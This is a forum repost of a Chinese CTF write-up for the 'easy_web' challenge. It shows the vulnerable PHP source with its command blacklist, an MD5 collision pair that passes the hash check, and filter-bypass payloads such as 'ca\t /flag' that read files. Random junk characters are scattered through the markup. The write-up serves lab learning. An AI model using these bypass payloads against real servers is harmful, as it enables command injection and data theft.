飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 13487|回复: 0

[安洵杯 2019]easy_web

[复制链接]

7726

主题

7814

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
25508
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式

9 A, T  M: |5 c# O<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
; ]) |, R3 J' F7 J8 t0 p<p>&nbsp;</p>/ \, }" x! w2 N4 Z* l
<p>&nbsp;</p>% c" v2 M, y& J
<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>. h4 A% r1 C( n* s* w! X* Z$ {' F
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>6 T- x* I/ G7 K: q; P
<p>&nbsp;</p>
" F9 O( F1 O0 V" F) n<p>&nbsp;</p>
# H3 ~4 N; g7 k. H$ ^<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>: a* z3 ]: I! D; b. `+ w& Y4 l  D
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>$ m) E4 W( o* ~  ~( D
<p>首先把那个进行一次base64位解码</p>0 {5 e% W; Z& ~& N& x' S- \  V
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>: M  p# D7 a9 _2 u& ?3 b$ |3 p" V
<p>&nbsp;</p>" F1 P1 ~- G8 d& G: d, a9 L
<p>&nbsp;</p>2 Z. K; g2 N' P& |
<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>
1 q0 V3 i- t9 d<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>) F; d7 K8 @5 f; t$ r! z
<p>&nbsp;</p>, N' g) y" \* [7 i) `& U
<p>&nbsp;</p>
4 L  x, H. M* \( d<p>&nbsp;然后用hex解码一下得到了</p>
$ ~" C: m, P& u8 o" c' ]<div class="cnblogs_Highlighter">
, i) N( A! e! J) Z<pre class="brush:sql;gutter:true;">555.png/ x* U- q" C  U  }& V
</pre>
* L# q& J; k; u</div>
. ~% S! E8 o6 k( a. ]. @' }( J<p>  用同样的方法把index.php进行加密</p>
. s1 |8 S3 k( q$ ^  ?<div class="cnblogs_Highlighter">
$ |8 c, {; q3 r+ L<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
; P6 {/ A" C& K7 ~</pre>' E5 ]% x& h% N/ C- t8 ~3 {
</div>
" e( h3 ~- w4 F6 M' M) a, X& P<p>  然后输入到地址栏</p>
1 `$ @- ?5 ~+ R# [<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>
; S/ x7 T& W& n6 U$ e; _<div class="cnblogs_code">5 M/ ~9 n3 d% n& I) \
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php2 |) l5 C8 F3 E3 a8 r
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
) |$ f0 ]5 l% Z) J</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
' A6 R' c9 \% ?% n, T</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
9 g* k2 U/ s- u1 }6 X, b</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) $ S) ?5 i( H, J  _7 B
    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);/ K2 o3 S* i$ c
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
( r' R( `1 W& Y& C! |' }# o4 Z& I) W. {
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
4 F1 n2 o5 A4 p- k</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
# m* p7 f, e/ |9 ]    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;# ~: \# c2 E2 W7 k4 x
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);& ]; X; ]  Y- P8 }) t  L5 n) X5 w
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
/ E* T3 O* z, i: d0 @4 \    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
: G* [8 k% X' i0 a    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
7 U9 t% U/ h8 R' d$ r    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
, S/ M7 T, a1 `8 ~$ I}" N# H' [: A% H
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;5 H4 A  a0 E: K4 n$ g, _" ?
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
( u$ F3 L8 W/ q5 U+ h+ O& p+ i</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {2 U1 d0 _& J( j
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
& x) C/ B" }7 t2 O5 u2 B    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;9 `, [/ Z  @' D
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {4 m& m6 `# u* q1 n" d
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
( v$ q- Y9 D7 b4 A6 ]8 Z        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;' N8 h, g9 J) f1 g1 }. l; F
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
4 X: ?# _3 Q4 d; n) Z* T9 G" T        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);: ?% [( V6 O0 d
    }
( O8 ~  [; g' p8 x2 m& E6 |}: C( t2 G  ?2 a/ W5 x

6 C+ H* I, a( c  b' I</span>?&gt;" i% }- x( I% `3 R+ O2 B. T
&lt;html&gt;4 w/ Z/ y4 y4 t' `; A& z1 ^1 Q
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">
) \& [, ^% O- o4 [/ E0 K9 d  body{. H2 `' t5 z* i, v4 a  s
   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;. Q7 Y9 \- ^$ ^
   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;$ C3 b# w( R6 N+ a- z
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
6 C* z! s9 Z0 N& w( ~; D   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>7 V) t/ T. P; D: Q, @0 @0 d
<span style="color: rgba(0, 0, 0, 1)">}
4 Z( s8 [5 L( l0 q7 q$ x6 [4 `</span>&lt;/style&gt;, w5 O( B, O& i4 t0 D2 N. i
&lt;body&gt;
, j& R7 B. v% }2 F; `1 W5 d: U&lt;/body&gt;
0 ~' w; i) M* k, O# f0 @1 R&lt;/html&gt;</pre>4 k4 i- Y: f4 V% u* L6 v
</div>8 X; t8 A: g# G: y* E
<p>结合前面的推断,关键代码就在</p>: g7 U' U7 `% c5 l5 ^
<div class="cnblogs_code">. X3 S4 q8 p5 V! H$ y# M2 e. U
<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
4 B" e/ Y* `& B' a- ]2 O1 S        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;% A) W( A  h, u# Y: _# @% A
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
6 E3 c3 ?( c7 _, C6 y5 v        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);3 y  z0 c; w, t" ^, i7 t
    }</span></pre>2 }7 m. j6 g+ Q" d$ L# \' O8 ~4 C' g
</div>
& b  c  ~6 {" Q<p>这种MD5是md5强碰撞</p>! S7 w1 u8 j/ K+ }! q2 |
<div class="cnblogs_Highlighter">
/ _$ t% [; |, g7 ~<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2& W" a, U6 E0 p
</pre>" v  g% B5 C: s- u, ~% B! E
</div>$ L! _) w* Y5 K! C/ a; A
<div class="cnblogs_Highlighter">  i; J# A9 m* `- c) P
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
" W2 i. h8 x& {/ a</pre>; t& p! T: _: d# N4 [
</div>- J  e1 S( E" o: x2 N" i- m
<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>
. o* [* U2 g: B: O% M* t7 b/ Z' `& ~<p>于是采用payload:</p>
$ I" ?( ]: R; U' @) C<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>) A# [- |) R/ {- z, J) L
<p>&nbsp;</p>
( B" o4 L! f" B1 |7 r5 b<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>4 y' E4 S! {4 y+ Q# i& M2 u& O
<p>ls和l\s在命令执行的时候结果是一样的。</p>
- ]7 m0 [& ?' T+ z/ w( [' t. r<p>然后发现根目录里面有/flag</p>
3 L/ p  g; E  E& I4 O* V; o<p>于是payload:</p>
5 G! O3 }$ U& n9 P* R3 S1 `<div class="cnblogs_Highlighter">
' \* w0 c( T! k, |6 [<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag- G# f% v" P5 l: G" J  P3 \
</pre>1 }# o. D# E; r
</div>
: J) R2 B% k; s+ N: e- o* e$ ?<p>  对于这个题目,因为他没有屏蔽sort和dir</p>% L1 L  @! Y  I1 R+ R# U
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>& [0 i* |/ V6 Y+ w4 D$ ?
<p>&nbsp;</p>( x( {# D2 K* s0 G' q7 f: q
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2025-10-31 04:22 , Processed in 0.567504 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表